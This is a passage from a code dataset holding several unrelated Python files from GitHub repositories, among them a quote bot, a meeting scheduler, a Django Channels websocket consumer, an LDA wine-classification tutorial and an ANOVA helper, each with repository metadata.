'Found no matches for: %s.' % args\n else:\n return '[%d] %s' % (quote[0], quote[1])\n\n @botcmd()\n def quote_get(self, msg, args):\n \"\"\"Fetches quote by ID or last quote, usage: !quote get \"\"\"\n if args == 'last':\n self.cur.execute(\"select * from quotes order by id desc\")\n elif args.isdigit() == True:\n self.cur.execute(\"select * from quotes where id = ?\", (args,))\n else:\n return 'Usage: !quote get '\n quote = self.cur.fetchone()\n if quote is None:\n return 'No matches with id = %s.' % args[0]\n else:\n return '[%d] %s' % (quote[0], quote[1])\n\n @botcmd()\n def quote_new(self, msg, args):\n \"\"\"Returns the last 3 quotes, usage !quote new\"\"\"\n if args != '':\n return 'Usage !quote new'\n self.cur.execute(\"select * from quotes order by id desc limit 3\")\n rows = self.cur.fetchall()\n answer = ''\n for row in rows:\n answer += '[%d] %s\\n' % (row[0], row[1])\n return answer\n\n @botcmd(admin_only=True)\n def quote_add(self, msg, args):\n \"\"\"Adds a new quote, usage: !quote add \"\"\"\n if args == '':\n return \"Usage: !quote add \"\n author = msg.frm.nick\n self.cur.execute(\n \"insert into quotes (quote, author) values (?,?)\", (args, author))\n self.con.commit()\n return self.respond_random()\n\n @botcmd(admin_only=True)\n def quote_del(self, msg, args):\n \"\"\"Removes quote from database, usage: !quote del \"\"\"\n if args == '':\n return \"Usage: !quote del \"\n self.cur.execute(\"delete from quotes where id = ?\", (args,))\n self.con.commit()\n return self.respond_random()\n","repo_name":"Betriebsrat/err-quote","sub_path":"Quote.py","file_name":"Quote.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"74203066667","text":"from typing import List\n\ndef convert_to_mins(time_str: str) -> int: # O(1)\n \"\"\"Takes in time in 'hh:mm' format and converts it to minutes of the day.\"\"\"\n hr, mins = map(int, time_str.split(':'))\n return hr * 60 + mins\n\ndef convert_to_timestr(time_in_mins: int) -> str: # O(1)\n \"\"\"Takes in time in minutes of the day and converts it to a hh:mm format.\"\"\"\n hr = time_in_mins // 60\n mins = time_in_mins % 60\n\n return f'{hr:02d}:{mins:02d}'\n\ndef find_aval_timeslots(busy_sch: List[List[str]], work_hrs: List[str], duration: int) -> List[List[int]]: # O(n)\n \"\"\"Finds all available timeslots that the person has given their busy schedule and workhours.\"\"\"\n aval_sch = [] # initalize empty list to push the available times into\n\n busy_sch_mins = [ [convert_to_mins(start), convert_to_mins(end)] for start, end in busy_sch ] # converting the time str to time in mins\n \n work_start = convert_to_mins(work_hrs[0]) # convert work hour's start time to mins\n work_end = convert_to_mins(work_hrs[1]) # convert work hour's end time to mins\n\n # Visualizing our problem:\n # {work_start-----[busytime1]---[busytime2]--..--[busytimeX]---work_end}\n # Encased in the brackets is our imaginary schedule\n #\n # All we have to do is grab the dotted lines in between the busytimes, work_start, work_end\n\n # Start with the first initial dotted line first, so from work_start to the first \"busytime\"\n if busy_sch_mins[0][0] > work_start:\n aval_sch.append([work_start, busy_sch_mins[0][0]])\n\n # ..now for all the busy times in between each other so lets say [busytime1] and [busytime2] and [busytimex] and so on\n # Start from 1 on the range since we already did the first elem\n for i in range(1, len(busy_sch_mins)):\n aval_sch.append([busy_sch_mins[i-1][1], busy_sch_mins[i][0]])\n\n # Keep in mind that the above isn't doing the last busytime to work_end yet so doing that on the below.\n if busy_sch_mins[-1][1] < work_end:\n aval_sch.append([busy_sch_mins[-1][1], work_end])\n\n # Now since we do not care for the availability that cannot fit the meeting. We can just filter through those\n # and make a new list for the times that actually fit.\n return [time for time in aval_sch if time[1] - time[0] >= duration]\n\ndef schedule_meeting(person1_aval: List[List[int]], person2_aval: List[List[int]], duration: int) -> List[List[str]]: # O(n)\n \"\"\"Given two available timeslots (in minute units) and duration of the meeting, returns the available timeslots.\"\"\"\n aval_times = []\n\n # Now that we have the availability of both people, all we need to do is loop through both lists\n # and link up the two availiabilities.\n\n # To visualize the problem:\n # Person 1 avail: [------ -- -------- ------]\n # Person 2 avail: [ ------ ------ ----- ]\n # Intersecting av:[ ##### ### # ]\n # Lets say that the dotted lines are the timeslots free and lets say that the duration\n # of the meeting is 3 dashes (---), the length of the meeting can fit within 3 of the (#).\n # \n # All we must do is match up the latest start time of the availibility, to the earliest end time \n i, j = 0, 0\n while i < len(person1_aval) and j < len(person2_aval):\n start1, end1 = person1_aval[i]\n start2, end2 = person2_aval[j]\n\n common_start = max(start1, start2) # latest start time\n common_end = min(end1, end2) # earliest end time\n\n # Now that we have commonality, we can eliminate the meeting times that do not fit the duration\n if common_end - common_start >= duration:\n aval_times.append([convert_to_timestr(common_start), convert_to_timestr(common_end)])\n\n # Since we are only working with one loop we need to make sure we are iterating through the\n # loop correctly.\n\n if end1 < end2: # this ensures that we go through each potentially overlapping timeslot\n i += 1\n else:\n j += 1\n\n # Less efficient but viable way to find the intersecting times.\n # for start1, end1 in person1_aval: # these two for loops will go through both availabilities\n # for start2, end2 in person2_aval:\n\n # common_start = max(start1, start2) # latest start time\n # common_end = min(end1, end2) # earliest end time\n\n # # now that we have commonality, we can eliminate the meeting times that do not fit the duration\n # if common_end - common_start >= duration:\n # aval_times.append([convert_to_timestr(common_start), convert_to_timestr(common_end)])\n\n return aval_times\n\n","repo_name":"ronaldvlee/CPSC-335-Fall-2023-Project-1","sub_path":"project1_starter.py","file_name":"project1_starter.py","file_ext":"py","file_size_in_byte":4692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23113010749","text":"def get_training_type(conf_mitigation, conf_noise):\n \"\"\"\n Defines the training type according to the experiment configuration.\n \n Returns: a string for customizing the data saving.\n \"\"\"\n if conf_noise:\n if conf_mitigation[\"method\"] is None:\n if conf_mitigation[\"readout\"] is None:\n training_type = \"unmitigated_\"\n else:\n training_type = \"readout_mitigation_\"\n else:\n if conf_mitigation[\"readout\"] is None:\n training_type = \"realtime_mitigation_\"\n else:\n training_type = \"full_mitigation_\"\n\n if conf_mitigation[\"step\"] is False:\n if conf_mitigation[\"final\"] is False:\n step_flag = \"step_no_final_no\"\n else:\n step_flag = \"step_no_final_yes\"\n else:\n if conf_mitigation[\"final\"] is False:\n step_flag = \"step_yes_final_no\"\n else:\n step_flag = \"step_yes_final_yes\"\n else:\n training_type = \"noiseless\"\n step_flag = \"\"\n \n return training_type + step_flag\n \n\n","repo_name":"qiboteam/rtqem","sub_path":"src/rtqem/savedata_utils.py","file_name":"savedata_utils.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"33354432549","text":"from goToPosDrawLine import DrawLineGoToPos\nfrom goToPosition import GoToPos\nimport time\nimport serial\n\ndef moveObjLine(x0,y0,z0,x1,y1,z1):\n\tser = serial.Serial(\"/dev/ttyACM0\", baudrate=115200, timeout=3.0)\n\t#grap object\n\tGoToPos(x0,y0,z0+4,'open')\n\t#R = DrawLineGoToPos(0,21.22,12.86,x0,y0,z0+4,'open',[111.628,70.866,-65.91],10)\n\ttime.sleep(1.5)\n\tGoToPos(x0,y0,z0-4,'open')\n\t#R = DrawLineGoToPos(x0,y0,z0+4,x0,y0,z0-4,'open',R['guess'],3)\n\ttime.sleep(1.5)\n\tGoToPos(x0,y0,z0-4,'close')\n\t#close\n\t#ser.write(str(0)+str(0)+str(1))\n\t#time.sleep(0.1)\n\t#ser.write(R['angles'][0:6]+'390')\n\t#time.sleep(0.1)\n\t#ser.write(R['angles'][9:18])\n\ttime.sleep(1.5)\n\tGoToPos(x0,y0,z0+4,'close')\n\t#R = DrawLineGoToPos(x0,y0,z0-4,x0,y0,z0+4,'close',R['guess'],3)\n\t#place object in the desired position\n\ttime.sleep(1.5)\n\tGoToPos(x1,y1,z1+4,'close')\n\t#R = DrawLineGoToPos(x0,y0,z0+4,x1,y1,z1+4,'close',R['guess'],10)\n\t#time.sleep(1.5)\n\t#R = DrawLineGoToPos(x1,y1,z1+4,x1,y1,z1-4,'close',R['guess'],3)\n\ttime.sleep(1.5)\n\tGoToPos(x1,y1,z1-4,'close')\n\ttime.sleep(1.5)\n\tGoToPos(x1,y1,z1-4,'open')\t\n\t#open\n\t#R = DrawLineGoToPos(x1,y1,z1-4,x1,y1,z1+4,'open',R['guess'],3)\n\t'''ser.write(str(0)+str(0)+str(1))\n\ttime.sleep(0.1)\n\tser.write(R['angles'][0:6]+'520')\n\ttime.sleep(0.01)\n\tser.write(R['angles'][9:18])'''\n\n#moveObjLine(0,30,8.7,-10,25,8.7)\n","repo_name":"BcArm/RoboticArm","sub_path":"Python/moveObjLine.py","file_name":"moveObjLine.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25900157410","text":"# PASOS:\n# 1. extraer la raiz cuadrada del numero\n# 2. obtener los numeros primos menores al resultado de la raiz cuadrada\n# 3. dividir el numero que nos dieron entre los primos menores\n# 4. Si al menos un resultado tiene residuo entonces el numero no es primo\ndef primos_menores(prod_raiz):\n contador = 0\n numeros = list(range(1, prod_raiz + 1))\n arr_primos_menores = []\n\n for i in numeros:\n for j in range(1, i+1):\n if i % j == 0:\n contador += 1\n if contador == 2:\n arr_primos_menores.append(i)\n contador = 0\n return arr_primos_menores\n\n\ndef es_primo(numero):\n\n contador = 0\n prod_raiz = numero ** 0.5\n prod_raiz = int(prod_raiz)\n\n arr = primos_menores(prod_raiz)\n\n for i in arr:\n if(numero % i == 0):\n contador += 1\n break\n\n if contador != 0 or numero == 1:\n return False\n else:\n return True\n\n\ndef run():\n numero = int(input('Escribe un numero: '))\n if es_primo(numero):\n print('Es primo!')\n else:\n print('No es primo')\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"bugdalf/Python-Basico","sub_path":"prueba_primalidad.py","file_name":"prueba_primalidad.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16333656679","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@ time : 2018/7/5\r\n@ author : Xieyz\r\n@ software: PyCharm\r\n\"\"\"\r\nimport requests\r\nfrom channels.generic.websocket import AsyncWebsocketConsumer\r\nfrom django.contrib.auth.models import User, Group\r\n\r\nclass MyConsumer(AsyncWebsocketConsumer):\r\n\r\n async def connect(self):\r\n self.add_group = None\r\n self.my_path = None\r\n await self.accept()\r\n print (self.scope)\r\n for i in self.scope['headers']:\r\n if i[0] == bytes('origin', encoding='utf-8'):\r\n self.my_path = str(i[1], encoding='utf-8')\r\n self.add_client_url = '{path}/usercenter/client/add/'.format(path=self.my_path)\r\n self.delete_client_url = '{path}/usercenter/client/delete/'.format(path=self.my_path)\r\n add_client_data = {'channel_name': self.channel_name, 'user':self.scope['user'].id}\r\n add_client = requests.post(url=self.add_client_url, data=add_client_data, cookies=self.scope['cookies'])\r\n self.client_id = add_client.json()['id']\r\n group_list_res = requests.post(url='{path}/usercenter/get_group_list_by_user/'.format(path=self.my_path),\r\n data={'id': self.scope['user'].id}, cookies=self.scope['cookies'])\r\n self.group_list = group_list_res.json()\r\n print(group_list_res)\r\n for group_id in self.group_list:\r\n await self.channel_layer.group_add(\"group-{group_id}\".format(group_id=group_id), self.channel_name)\r\n await self.channel_layer.group_add(\"chat\", self.channel_name)\r\n\r\n async def receive(self, text_data=None, bytes_data=None):\r\n try:\r\n self.group_list = eval(text_data)['group']\r\n for i in self.group_list:\r\n await self.channel_layer.group_add(i, self.channel_name)\r\n except Exception as _:\r\n pass\r\n\r\n async def disconnect(self, close_code):\r\n if self.client_id:\r\n add_client = requests.delete(url=self.delete_client_url, data={'id': self.client_id},\r\n cookies=self.scope['cookies'])\r\n if self.group_list:\r\n for group_id in self.group_list:\r\n await self.channel_layer.group_discard(\"group-{group_id}\".format(group_id=group_id), self.channel_name)\r\n await self.channel_layer.group_discard(\"chat\", self.channel_name)\r\n if self.group_list:\r\n for i in self.group_list:\r\n await self.channel_layer.group_add(i, self.channel_name)\r\n await self.close()\r\n\r\n async def chat_message(self, event):\r\n await self.send(text_data=event[\"text\"])\r\n","repo_name":"fanmiao1/devops","sub_path":"cloudops/devops/usercenter/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18929568636","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Dec 19 21:42:35 2020\r\n\r\n@author: daiya\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nimport numpy as np\r\nfrom sklearn.preprocessing import StandardScaler\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndf_wine = pd.read_csv('https://archive.ics.uci.edu/ml/'\r\n 'machine-learning-databases/wine/wine.data',\r\n header=None)\r\n\r\ndf_wine.columns = ['Class label', 'Alcohol', 'Malic acid', 'Ash',\r\n 'Alcalinity of ash', 'Magnesium', 'Total phenols',\r\n 'Flavanoids', 'Nonflavanoid phenols', 'Proanthocyanins',\r\n 'Color intensity', 'Hue',\r\n 'OD280/OD315 of diluted wines', 'Proline']\r\ndf_wine.head()\r\n\r\nX, y = df_wine.iloc[:, 1:].values, df_wine.iloc[:, 0].values\r\n\r\nX_train, X_test, y_train, y_test = \\\r\n train_test_split(X, y, test_size=0.3, \r\n stratify=y,\r\n random_state=0)\r\n\r\n\r\nnp.set_printoptions(precision=4)\r\n# control the display float precision, here for 4 digits\r\n\r\nsc = StandardScaler()\r\nX_train_std = sc.fit_transform(X_train)\r\nX_test_std = sc.transform(X_test)\r\n\r\n# calculate the within mean vector for each class\r\nmean_vecs = []\r\nfor label in range(1, 4):\r\n mean_vecs.append(np.mean(X_train_std[y_train == label], axis=0))\r\n print('MV %s: %s\\n' % (label, mean_vecs[label - 1]))\r\n \r\n \r\n# after gaining the within mean vector, we can calculate Sw \r\nd = df_wine.shape[1]-1 # number of features\r\nS_W = np.zeros((d, d)) # initialize Sw matrics\r\nfor label, mv in zip(range(1, 4), mean_vecs): # calculate each class Sw\r\n class_scatter = np.zeros((d, d)) # scatter matrix for each class\r\n for row in X_train_std[y_train == label]: # calculate every xi\r\n row, mv = row.reshape(d, 1), mv.reshape(d, 1) # make column vectors\r\n class_scatter += (row - mv).dot((row - mv).T)\r\n S_W += class_scatter # sum class scatter matrices\r\n\r\nprint('Within-class scatter matrix: %sx%s' % (S_W.shape[0], S_W.shape[1]))\r\n# It is 13*13 matrics\r\n\r\n\r\n# or here we can check the number fo samples in different classes, then we find they are not equal\r\n# thus it is better to use covariance matrix to eliminate the influence of unequal distributions\r\n\r\n# check the distribution of class number\r\nprint('Class label distribution: %s' % np.bincount(y_train)[1:])\r\n\r\nd = 13 # number of features\r\nS_W = np.zeros((d, d))\r\nfor label, mv in zip(range(1, 4), mean_vecs):\r\n class_scatter = np.cov(X_train_std[y_train == label].T)\r\n S_W += class_scatter\r\nprint('Scaled within-class scatter matrix: %sx%s' % (S_W.shape[0],\r\n S_W.shape[1]))\r\n\r\n\r\n# here we can next to calculate Sb betweeness-class scatter matrix\r\n# for multi class, we use each class mean to minus overall mean to get S_b\r\nmean_overall = np.mean(X_train_std, axis=0) # get overall mean\r\nd = 13 # number of features\r\nS_B = np.zeros((d, d)) # initialize S_b\r\nfor i, mean_vec in enumerate(mean_vecs): \r\n n = X_train[y_train == i + 1, :].shape[0] # get sample number of certain class \r\n mean_vec = mean_vec.reshape(d, 1) # make column vector\r\n mean_overall = mean_overall.reshape(d, 1) # make column vector\r\n S_B += n * (mean_vec - mean_overall).dot((mean_vec - mean_overall).T)\r\n # be care of n*, this means we have n samples in class i, then we should multiple it for n times to get class i's Sb\r\n \r\nprint('Between-class scatter matrix: %sx%s' % (S_B.shape[0], S_B.shape[1]))\r\n\r\n\r\n\r\n# Then we calculate eigen vector and eigen value of Sw(reverse)*Sb\r\neigen_vals, eigen_vecs = np.linalg.eig(np.linalg.inv(S_W).dot(S_B))\r\n\r\n\r\n# Make a list of (eigenvalue, eigenvector) tuples\r\neigen_pairs = [(np.abs(eigen_vals[i]), eigen_vecs[:, i])\r\n for i in range(len(eigen_vals))]\r\n\r\n# Sort the (eigenvalue, eigenvector) tuples from high to low\r\neigen_pairs = sorted(eigen_pairs, key=lambda k: k[0], reverse=True)\r\n\r\n# Visually confirm that the list is correctly sorted by decreasing eigenvalues\r\nprint('Eigenvalues in descending order:\\n')\r\nfor eigen_val in eigen_pairs:\r\n print(eigen_val[0])\r\n# here we can see the first two eigen values are much huger than others, then we would keep the first two eigen vectors\r\n \r\n\r\n# this part is to draw the plot of eigen values to show their weights\r\ntot = sum(eigen_vals.real)\r\ndiscr = [(i / tot) for i in sorted(eigen_vals.real, reverse=True)]\r\ncum_discr = np.cumsum(discr)\r\n\r\nplt.bar(range(1, 14), discr, alpha=0.5, align='center',\r\n label='individual \"discriminability\"')\r\nplt.step(range(1, 14), cum_discr, where='mid',\r\n label='cumulative \"discriminability\"')\r\nplt.ylabel('\"discriminability\" ratio')\r\nplt.xlabel('Linear Discriminants')\r\nplt.ylim([-0.1, 1.1])\r\nplt.legend(loc='best')\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n\r\n# then we stack the first eigen vectors\r\nw = np.hstack((eigen_pairs[0][1][:, np.newaxis].real,\r\n eigen_pairs[1][1][:, np.newaxis].real))\r\nprint('Matrix W:\\n', w)\r\n\r\n\r\n# at last, we can project features into new space\r\nX_train_lda = X_train_std.dot(w)\r\ncolors = ['r', 'b', 'g']\r\nmarkers = ['s', 'x', 'o']\r\n\r\nfor l, c, m in zip(np.unique(y_train), colors, markers):\r\n plt.scatter(X_train_lda[y_train == l, 0],\r\n X_train_lda[y_train == l, 1] * (-1),\r\n c=c, label=l, marker=m)\r\n\r\nplt.xlabel('LD 1')\r\nplt.ylabel('LD 2')\r\nplt.legend(loc='lower right')\r\nplt.tight_layout()\r\nplt.show()\r\n# here we can see it is clearly that we can use linear algorithms to distingish them\r\n\r\n\r\n\r\n### okay, before we talked about the manual calculation of LDA algorithm, then we can use sklearn module to do it automatically\r\n\r\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis as LDA\r\nlda = LDA(n_components=2) # to choose the best number for component, we can check the value for different eigen values\r\nX_train_lda = lda.fit_transform(X_train_std, y_train)\r\n\r\n# then we can use logistic regression to classify it, this is similar to PCA practice part, we can refer to that practice about the below descripition\r\nfrom sklearn.linear_model import LogisticRegression\r\nlr = LogisticRegression()\r\nlr = lr.fit(X_train_lda, y_train)\r\n\r\n\r\nfrom matplotlib.colors import ListedColormap\r\n\r\ndef plot_decision_regions(X, y, classifier, resolution=0.02):\r\n\r\n # setup marker generator and color map\r\n markers = ('s', 'x', 'o', '^', 'v')\r\n colors = ('red', 'blue', 'lightgreen', 'gray', 'cyan')\r\n cmap = ListedColormap(colors[:len(np.unique(y))])\r\n\r\n # plot the decision surface\r\n x1_min, x1_max = X[:, 0].min() - 1, X[:, 0].max() + 1\r\n x2_min, x2_max = X[:, 1].min() - 1, X[:, 1].max() + 1\r\n xx1, xx2 = np.meshgrid(np.arange(x1_min, x1_max, resolution),\r\n np.arange(x2_min, x2_max, resolution))\r\n Z = classifier.predict(np.array([xx1.ravel(), xx2.ravel()]).T)\r\n Z = Z.reshape(xx1.shape)\r\n plt.contourf(xx1, xx2, Z, alpha=0.4, cmap=cmap)\r\n plt.xlim(xx1.min(), xx1.max())\r\n plt.ylim(xx2.min(), xx2.max())\r\n\r\n # plot class samples\r\n for idx, cl in enumerate(np.unique(y)):\r\n plt.scatter(x=X[y == cl, 0], \r\n y=X[y == cl, 1],\r\n alpha=0.6, \r\n c=cmap(idx),\r\n edgecolor='black',\r\n marker=markers[idx], \r\n label=cl)\r\n \r\nplot_decision_regions(X_train_lda, y_train, classifier=lr)\r\nplt.xlabel('LD 1')\r\nplt.ylabel('LD 2')\r\nplt.legend(loc='lower left')\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n\r\n\r\n# test data set\r\nX_test_lda = lda.transform(X_test_std)\r\n\r\nplot_decision_regions(X_test_lda, y_test, classifier=lr)\r\nplt.xlabel('LD 1')\r\nplt.ylabel('LD 2')\r\nplt.legend(loc='lower left')\r\nplt.tight_layout()\r\nplt.show()\r\n# pretty good \r\n\r\n# after all, we have used LDA algorithms to find the most important new features space, and we can use it as our new features to train it, the result is pretty good.\r\n","repo_name":"Young-Yang-S/Machine-Learning","sub_path":"Basic_training/LDA/LDA_wine.py","file_name":"LDA_wine.py","file_ext":"py","file_size_in_byte":7999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39634684089","text":"import tkinter as tk\nfrom tkinter import ttk, filedialog, messagebox\nimport webbrowser as wb\nimport traceback\n\nfrom source.model.anim_project import get_test_project\nfrom source.model.anim_project_io import load_project\nfrom source.ui.anim_editor import AnimEditor\nfrom source.ui.image_editor import ImageEditor\n\nPADDING = 5\n\nclass App(tk.Frame):\n def __init__(self, *args, **kwargs) -> None:\n super().__init__( *args, **kwargs)\n self.pack()\n\n frame = ttk.Frame(self, padding=2 * PADDING)\n frame.grid()\n\n ttk.Label(frame, text=\"Welcome to Griftlands Animation Explorer!\").grid(column=0, row=0, columnspan=4)\n ttk.Button(frame, text=\"Image Editor\", command=lambda: ImageEditor(self.master)).grid(column=0, row=1)\n ttk.Button(frame, text=\"Anim Editor (New)\", command=lambda: AnimEditor(get_test_project(), self.master)).grid(column=1, row=1)\n ttk.Button(frame, text=\"Anim Editor (Open)\", command=self.open_project).grid(column=2, row=1)\n ttk.Button(frame, text=\"GitHub\", command=lambda: wb.open(\"https://github.com/RageLeague/GriftlandsAnimConversion\")).grid(column=3, row=1)\n\n for widget in frame.winfo_children():\n widget.grid(padx=PADDING, pady=PADDING)\n\n def open_project(self) -> None:\n try:\n filename = filedialog.askopenfilename(filetypes=[(\"Project File\", \".json\")])\n # print(filename)\n if filename:\n AnimEditor(load_project(filename), self.master)\n except Exception as e:\n traceback.print_exception(e)\n messagebox.showerror(\"Error while reading file\", f\"{type(e).__name__}: {e}\")\ndef run():\n root = tk.Tk()\n root.title(\"Griftlands Animation Explorer\")\n\n App(root)\n\n root.mainloop()\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"RageLeague/GriftlandsAnimConversion","sub_path":"source/ui/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"656067677","text":"#extract\r\na = 0\r\nsum = 0\r\navg = 0\r\nfor i in range(5,15,2):\r\n sum = sum+1\r\nfor j in range(0,21,4):\r\n avg = avg+1\r\n a = a+1\r\ntotal_avg = avg/a\r\nprint(\"sum between 5 and 15\",sum)\r\nprint(\"total average between 1 and 20\",total_avg)\r\n \r\n","repo_name":"ShaZOP/11th-class-codes","sub_path":"extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20890059307","text":"import time\nimport hashlib\nfrom utils import *\n\n# ADD TO LOGS AND TRACK LOGS\ndef request_log(log, start, end):\n return log[start:end]\n\ndef new_log(log, text, private_key):\n entry = {\n \"sequence\": len(log) + 1,\n \"timestamp\": time.time(),\n }\n entry[\"hash\"] = hashlib.sha256(str(entry['sequence']).encode(\"utf-8\")).hexdigest()\n entry[\"text\"] = text\n entry[\"signature\"] = base64.b64encode(sign_msg(private_key, text)).decode(\"utf-8\")\n\n log.append(tuple(entry.values()))\n\ndef verify_log_integrity(log, public_key):\n for entry in log:\n sequence, timestamp, entry_hash, text, signature = entry\n prev_hash = hashlib.sha256(str(sequence).encode(\"utf-8\")).hexdigest()\n if prev_hash != entry_hash:\n return False\n\n if validate_msg_integrity({\"signature\": signature, \"text\": text}, \"text\", public_key)[\"status\"] != \"success\":\n return False\n return True ","repo_name":"joaomonteir0/SIO","sub_path":"assignment-2---bingo/logs.py","file_name":"logs.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"32879540013","text":"from __future__ import print_function\nimport re\nimport csv\nimport os\n\nfrom ..db import get_db\nfrom .fetch_data import print_mongo_bulk_result, get_grant_conditions\n\n\ndef get_countries(csvfile=\"assets/countries.csv\"):\n with open(csvfile, encoding='utf-8') as a:\n r = csv.DictReader(a)\n countries = [country for country in r]\n return countries\n\n\ndef update_geography(funders=None, skip_funders=None):\n db = get_db()\n\n bulk = db.grants.initialize_unordered_bulk_op()\n\n f = os.path.join(os.path.dirname(__file__), '..', 'assets', 'countries.csv')\n all_countries = get_countries(f)\n c_search = {\n country[\"alpha2\"]: re.compile(r'\\b({})\\b'.format(\"|\".join(\n filter(None, country[\"altnames\"].split(\",\") + [country[\"name\"]]))\n )) for country in all_countries\n }\n\n for grant in db.grants.find(get_grant_conditions(funders, skip_funders)):\n grant.setdefault(\"beehive\", {})\n desc = grant.get(\"title\", \"\") + \" \" + grant.get(\"description\", \"\")\n\n # get any countries mentioned in the grant title / description\n # Using regexes\n\n # special case for Northern Ireland\n country_desc = re.sub(r'\\bNorthern Ireland\\b', '', desc, re.IGNORECASE)\n grant[\"beehive\"][\"countries\"] = [code for code in c_search if c_search[code].search(country_desc)]\n\n if len(grant[\"beehive\"][\"countries\"]) == 0:\n grant[\"beehive\"][\"countries\"] = ['GB']\n\n grant[\"beehive\"][\"districts\"] = []\n\n if len(grant[\"beehive\"][\"countries\"]) > 1:\n grant[\"beehive\"][\"geographic_scale\"] = 3\n elif len(grant[\"beehive\"][\"countries\"]) == 1 and len(grant[\"beehive\"][\"districts\"]) == 0:\n grant[\"beehive\"][\"geographic_scale\"] = 2\n elif len(grant[\"beehive\"][\"districts\"]) > 1:\n grant[\"beehive\"][\"geographic_scale\"] = 1\n else:\n grant[\"beehive\"][\"geographic_scale\"] = 0\n\n bulk.find({'_id': grant[\"_id\"]}).replace_one(grant)\n\n print_mongo_bulk_result(bulk.execute(), \"grants\", [\"** Updating geography **\"])\n","repo_name":"TechforgoodCAST/beehive-data-etl","sub_path":"beehivedata/actions/update_geography.py","file_name":"update_geography.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36361720806","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 6 16:16:34 2023\n\n@author: Aaron Mooney\n\"\"\"\n\nimport pandas as pd\nimport statistics as stats\nimport scipy\n\n### Calculate Anova Instructions ###\n\n### Use this script to calculate the F-value from a series of raw test data with multiple levels.\n### The data must be contained in a simple table with the following column format:\n### Table Heading - [Sample #] [Level_Var_1] [Level_Var_2] [Level_Var_3]...[Level_Var_n]\n\n### Remove extra or unused columns and rows. Save the file as a single sheet .csv file.\n### If you do not know how to find the path to the data, save the data and the script\n### into the same folder. \n\n### Be sure to change the file name in the next line to the name of your file.\n\n### *************************************************************************\n\n# *** Add your file name here! *** \n# Example: BaseTestData_2Lvls.csv\n\ninFile = 'BaseAnova_TestData_4Lvls.csv'\n\n### **************************************************************************\n\n# Reads the data set into a Pandas DataFrame\ndf = pd.read_csv(inFile)\n\n# Your raw experimental data may be of type 'Object' internally. This function\n# converts it to type 'float' for use in calculations. \ndef convertToFloat(df):\n \"\"\"Reads in a DataFrame containing columns with float values set as\n 'object' data types (df.dtype). Loops through the list and converts\n each to type float for use in calculations. Returns None\"\"\"\n \n colList = df.columns\n listLen = len(colList)\n \n for item in range(listLen):\n try:\n df[colList[item]] = df[colList[item]].astype(float)\n except:\n continue\n \n return None\n\n# Step 1: Calculates the sums for each column. \ndef getColSums(df):\n \"\"\"Reads in a cleaned DataFrame. Reads the values in each column and\n calculates the sums for each column.\n Returns a list containing the column sums.\"\"\"\n \n colList = df.columns\n listLen = len(colList)\n colSum = 0\n colSumsList = []\n \n for item in range(listLen):\n \n if colList[item] != 'Sample':\n colSum = df[colList[item]].sum()\n colSumsList.append(colSum)\n \n return colSumsList\n\n# Step 2: Calculates the sum of squares values for each column.\ndef getSumSqdVals(df):\n \"\"\"Reads in a DataFrame containing columns of values. Calculates the\n sum of the squared values for each column and sum of column squared values.\n Returns a list of the squared column values and total squared value.\"\"\"\n \n sumSqd = []\n colList = df.columns\n listLen = len(colList)\n ySqd = 0\n \n for i in range(1,listLen):\n axSqd = sum(df[colList[i]] ** 2)\n sumSqd.append(axSqd)\n ySqd = ySqd + axSqd\n \n sumSqd.append(ySqd)\n \n return sumSqd\n\n\n# Step 3: Calculates the mean values for each column.\ndef getMeanVals(df):\n \"\"\"Reads in a DataFrame containing columns of values. Calculates the\n mean for each column. Returns the mean values for each column.\"\"\"\n \n meanValsList = []\n colList = df.columns\n listLen = len(colList)\n meanVal = 0\n \n for i in range(1,listLen):\n meanVal = round((stats.mean(df[colList[i]])), 2)\n meanValsList.append(meanVal)\n \n return meanValsList\n\n# Step 4a: Calculates the variance values for each column. While not strictly\n# necessary for calculating the Anova, these values are used to determine\n# whether the assumption of homogeneity of variance has been satisfied.\ndef getVarVals(df):\n \"\"\"Reads in a DataFrame containing columns of values. Calculates the\n variance for each column. Returns the variance values for each column.\"\"\"\n \n varianceValsList = []\n colList = df.columns\n listLen = len(colList)\n varianceVal = 0\n \n for i in range(1,listLen):\n varianceVal = round((stats.variance(df[colList[i]])), 2)\n varianceValsList.append(varianceVal)\n \n return varianceValsList\n\n# Step 4b: Determines the FMax value, an indicator of whether the homogeneity\n# of variance assumption has been met.\ndef 